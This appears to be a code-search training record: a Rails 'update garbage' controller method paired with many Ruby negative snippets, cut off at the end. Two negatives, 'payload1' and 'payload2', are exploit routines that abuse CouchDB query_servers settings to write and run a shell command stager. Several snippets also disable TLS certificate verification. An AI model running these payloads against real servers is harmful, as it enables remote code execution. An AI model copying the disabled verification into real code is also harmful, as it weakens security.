head :no_content }\n end\n end" ]
[ "0.579919", "0.5777506", "0.5608368", "0.55363846", "0.5440373", "0.5383936", "0.53672445", "0.53136075", "0.5302597", "0.5242781", "0.519381", "0.5171501", "0.51113164", "0.51033497", "0.50803775", "0.5073408", "0.5036417", "0.5008357", "0.5005093", "0.4999928", "0.49902135", "0.49866286", "0.49768668", "0.4973813", "0.49648726", "0.49464673", "0.49247175", "0.49183682", "0.48975834", "0.4861324", "0.48490232", "0.4845183", "0.48443154", "0.4835725", "0.48321402", "0.4820035", "0.48141956", "0.48135412", "0.4790649", "0.47891665", "0.47559014", "0.47547027", "0.47321644", "0.47307742", "0.47205934", "0.47188354", "0.47145662", "0.47084436", "0.47080222", "0.4707984", "0.47040495", "0.4677148", "0.46666366", "0.4662129", "0.4658454", "0.46536538", "0.4650687", "0.46490782", "0.46423575", "0.46394292", "0.4632891", "0.46320844", "0.4605308", "0.4584569", "0.45827726", "0.45808476", "0.45807838", "0.45659536", "0.45637664", "0.4555616", "0.45548233", "0.45500207", "0.4547232", "0.45404303", "0.45364353", "0.45361426", "0.4534732", "0.453425", "0.45272762", "0.45144883", "0.45139948", "0.45113882", "0.45102155", "0.45100686", "0.450923", "0.45012522", "0.45012522", "0.4492289", "0.4492289", "0.44920647", "0.44919148", "0.4476597", "0.44750586", "0.44695556", "0.44681278", "0.44605196", "0.44568348", "0.44560513", "0.44534367", "0.44509247" ]
0.45404404
73
PUT /garbages/1 PUT /garbages/1.xml
def update begin @garbage = Garbage.find(params[:id]) @garbage.update_attributes(params[:garbage]) flash[:notice] = t(:success_updated, :id => @garbage.id) redirect_to(garbages_url) rescue => e # flash[:error] = t(:error_default, :message => e.message) render :action => :edit end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n if @garbage.update_attributes(params[:garbage])\n format.html { redirect_to @garbage, notice: 'Garbage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def test_duplicate_tags\n existing_tag = create(:node_tag)\n assert_equal true, existing_tag.node.changeset.user.data_public\n # setup auth\n basic_authorization existing_tag.node.changeset.user.email, \"test\"\n\n # add an identical tag to the node\n tag_xml = XML::Node.new(\"tag\")\n tag_xml[\"k\"] = existing_tag.k\n tag_xml[\"v\"] = existing_tag.v\n\n # add the tag into the existing xml\n node_xml = existing_tag.node.to_xml\n node_xml.find(\"//osm/node\").first << tag_xml\n\n # try and upload it\n content node_xml\n put :update, :params => { :id => existing_tag.node.id }\n assert_response :bad_request,\n \"adding duplicate tags to a node should fail with 'bad request'\"\n assert_equal \"Element node/#{existing_tag.node.id} has duplicate tags with key #{existing_tag.k}\", @response.body\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def put(*args)\n request :put, *args\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def invalidate(files, pos=0)\n paths, count = \"\", 0\n\n files[pos...(pos+CF_BATCH_SIZE)].each do |key|\n count += 1\n paths += \"<Path>#{key.to_s.gsub(/ /, '%20')}</Path>\"\n end\n\n return if count < 1\n\n paths = \"<Paths><Quantity>#{count}</Quantity><Items>#{paths}</Items></Paths>\"\n\n digest = HMAC::SHA1.new(SECRET_ACCESS_KEY)\n digest << date = Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n\n uri = URI.parse(\"https://cloudfront.amazonaws.com/2012-07-01/distribution/#{CLOUD_DIST_ID}/invalidation\")\n header = {\n 'x-amz-date' => date,\n 'Content-Type' => 'text/xml',\n 'Authorization' => \"AWS %s:%s\" % [ACCESS_KEY_ID, Base64.encode64(digest.digest)]\n }\n req = Net::HTTP::Post.new(uri.path)\n req.initialize_http_header(header)\n body = \"<InvalidationBatch xmlns=\\\"http://cloudfront.amazonaws.com/doc/2012-07-01/\\\">#{paths}<CallerReference>ref_#{Time.now.utc.to_i}</CallerReference></InvalidationBatch>\"\n req.body = body\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request(req)\n puts res.code == '201' ? \"CloudFront reloading #{count}\" : \"Failed #{res.code}\"\n puts res.body if res.code != '201'\n return if res.code == 400\n\n if count == CF_BATCH_SIZE\n invalidate(files, pos+count)\n end\n end", "def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def put(*args)\n request(:put, *args)\n end", "def update\n respond_to do |format|\n if @garbage_type.update(garbage_type_params)\n format.html { redirect_to @garbage_type, notice: 'Garbage type was successfully updated.' }\n format.json { render :show, status: :ok, location: @garbage_type }\n else\n format.html { render :edit }\n format.json { render json: @garbage_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def flush\n file = Tempfile.new(\"onesecgroup-#{resource[:name]}-update.xml\")\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TEMPLATE do\n xml.DESCRIPTION resource[:description]\n resource[:rules].each do |rule|\n xml.RULE do\n rule.each do |k, v|\n xml.send(k.upcase, v)\n end\n end\n end if resource[:rules]\n end\n end\n tempfile = builder.to_xml\n file.write(tempfile)\n file.close\n self.debug \"Updating secgroup using #{tempfile}\"\n onesecgroup('update', resource[:name], file.path) unless @property_hash.empty?\n file.delete\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def modify_tag tag\n data = {\n \"tag\" => params\n }\n temp = data[\"servers\"]\n data[\"servers\"] = { \"server\" => temp }\n\n json = JSON.generate data\n\n response = put \"tag/#{tag}\", json\n return response unless response.code == 200\n\n body = JSON.parse response.body\n body[\"tag\"]\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def set_garbage_type\n @garbage_type = GarbageType.find(params[:id])\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def set_content(value)\n @document = Nokogiri::XML(value)\n @state = RedXmlResource::STATE_UNCOMMITED if @document #Resource can now be stored in database\n end", "def test_putpoi_delete_already_deleted\n nd = create(:node, :deleted)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 3, result.size\n assert_equal -4, result[0]\n assert_equal \"node\", result[1]\n assert_equal nd.id, result[2]\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def destroy\n gig = @gig_set.gig\n @gig_set.destroy\n gig.gig_sets.each_with_index do |set, ix|\n set.number = ix + 1\n set.save!\n end\n\n respond_to do |format|\n format.html { redirect_to edit_gig_path(gig) }\n format.json { head :no_content }\n end\n end", "def garbage!\n @garbage = true\n end", "def update\n DOCUMENT_PATHS.each do |attr_name, path|\n if path.match(/\\*/)\n instance_variable_get(\"@#{attr_name}\").each do |simple_file_name, contents|\n replace_entry(\"word/#{simple_file_name}.xml\", contents.serialize(save_with: 0))\n end\n else\n xml_document = instance_variable_get(\"@#{attr_name}\")\n replace_entry path, xml_document.serialize(save_with: 0) if xml_document\n end\n end\n end", "def run(request, data)\n node = Razor::Data::Node[:name => data['node']]\n operation = { 'update' => { data['key'] => data['value'] } }\n operation['no_replace'] = data['no_replace']\n\n begin\n node.modify_metadata(operation)\n rescue Razor::Data::NoReplaceMetadataError\n request.error 409, :error => _('no_replace supplied and key is present')\n end\n end", "def update!(**args)\n @constraint = args[:constraint] if args.key?(:constraint)\n @etag = args[:etag] if args.key?(:etag)\n end", "def cleanup_xml\n return nil unless xml\n xml.gsub!(/<EFFICIENCY>-<\\/EFFICIENCY>/, '<EFFICIENCY>0.0</EFFICIENCY>')\n end", "def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end", "def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to(monkeys_url) }\n format.xml { head :ok }\n end\n end", "def handle_put_request\n @request.records.each do |record|\n file = DataFile.storing(@request.uuid, record.time)\n file << record\n file.close\n end\n\n send_data [@request.record_count].pack('L')\n end", "def test_putpoi_delete_not_found\n changeset = create(:changeset)\n cs_id = changeset.id\n user = changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, 1, 999999, 0, 0, {}, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 3, result.size\n assert_equal -4, result[0]\n assert_equal \"node\", result[1]\n assert_equal 999999, result[2]\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def reset!( opts = {} )\n http_action :delete, nil rescue nil\n http_action :put, nil, opts.merge( :doc => '' )\n create_shared_design\n end", "def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def save(content, path)\n if content !~ /<H2>Error 404<\\/H2>/\n File::open(path, 'w') {|f| f.write(fix_wsdl!(content))}\n end\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end", "def db_cleaner\n JSON.parse(params[:mongified_data][:data]).each do |data|\n data[\"lob\"] = params[:mongified_data][:lob]\n @client.destroy(data)\n end\n end", "def update\n respond_to do |format|\n if @slow_thing.update(slow_thing_params)\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n\n Rails.logger.debug \"purging #{slow_thing_url(@slow_thing)}\"\n http.request( Purge.new(URI(slow_thing_url(@slow_thing))) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully updated.' }\n format.json { render :show, status: :ok, location: @slow_thing }\n else\n format.html { render :edit }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def persist_in_xml\n\nend", "def destroy\n @geocache.destroy\n \n #add score to user rank\n del_score_to_rank('upload')\n \n respond_to do |format|\n format.html { redirect_to(geocaches_url) }\n format.xml { head :ok }\n end\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def update\n respond_to do |format|\n format.html { head :forbidden }\n format.xml { head :forbidden }\n end\n end", "def purged_xml_for_clone\n local_structs_regex = []\n shape.local_structs.each do | struct |\n local_structs_regex << struct.name.underscore.downcase.dasherize\n end\n xml_doc.search('*[@resource-type=\"ActiveRecord\"]', *local_structs_regex.uniq).unlink\n xml_doc.search('file[@resource-type=\"Primitive\"]').each do |file|\n file['value'] = ''\n file['width'] = ''\n file['height'] = ''\n file['content_type'] = ''\n end\n xml_doc\n end", "def test_version\n ## First try this with a non-public user\n basic_authorization(users(:normal_user).email, \"test\")\n changeset_id = changesets(:normal_user_first_change).id\n \n # setup a simple XML node\n xml_doc = current_nodes(:visible_node).to_xml\n xml_node = xml_doc.find(\"//osm/node\").first\n nodeid = current_nodes(:visible_node).id\n\n # keep a hash of the versions => string, as we'll need something\n # to test against later\n versions = Hash.new\n\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n\n # randomly move the node about\n 20.times do \n # move the node somewhere else\n xml_node['lat'] = precision(rand * 180 - 90).to_s\n xml_node['lon'] = precision(rand * 360 - 180).to_s\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :forbidden, \"Should have rejected node update\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # add a bunch of random tags\n 30.times do \n xml_tag = XML::Node.new(\"tag\")\n xml_tag['k'] = random_string\n xml_tag['v'] = random_string\n xml_node << xml_tag\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :forbidden,\n \"should have rejected node #{nodeid} (#{@response.body}) with forbidden\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # probably should check that they didn't get written to the database\n\n \n ## Now do it with the public user\n basic_authorization(users(:public_user).email, \"test\")\n changeset_id = changesets(:public_user_first_change).id\n\n # setup a simple XML node\n xml_doc = current_nodes(:node_with_versions).to_xml\n xml_node = xml_doc.find(\"//osm/node\").first\n nodeid = current_nodes(:node_with_versions).id\n\n # keep a hash of the versions => string, as we'll need something\n # to test against later\n versions = Hash.new\n\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n\n # randomly move the node about\n 20.times do \n # move the node somewhere else\n xml_node['lat'] = precision(rand * 180 - 90).to_s\n xml_node['lon'] = precision(rand * 360 - 180).to_s\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :success\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # add a bunch of random tags\n 30.times do \n xml_tag = XML::Node.new(\"tag\")\n xml_tag['k'] = random_string\n xml_tag['v'] = random_string\n xml_node << xml_tag\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :success,\n \"couldn't update node #{nodeid} (#{@response.body})\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # check all the versions\n versions.keys.each do |key|\n get :version, :id => nodeid, :version => key.to_i\n\n assert_response :success,\n \"couldn't get version #{key.to_i} of node #{nodeid}\"\n\n check_node = Node.from_xml(versions[key])\n api_node = Node.from_xml(@response.body.to_s)\n\n assert_nodes_are_equal check_node, api_node\n end\n end", "def flush\n @client.flush(@name)\n end", "def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end", "def put(path, **args); end", "def flush\n if exists?\n update_foreman_users('put', get_attribute_from_user('id'))\n else\n update_foreman_users('post')\n end\n end", "def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end", "def on_put(resource_uri, opts)\n #resource = _get_resource(resource_uri, true, opts)\n 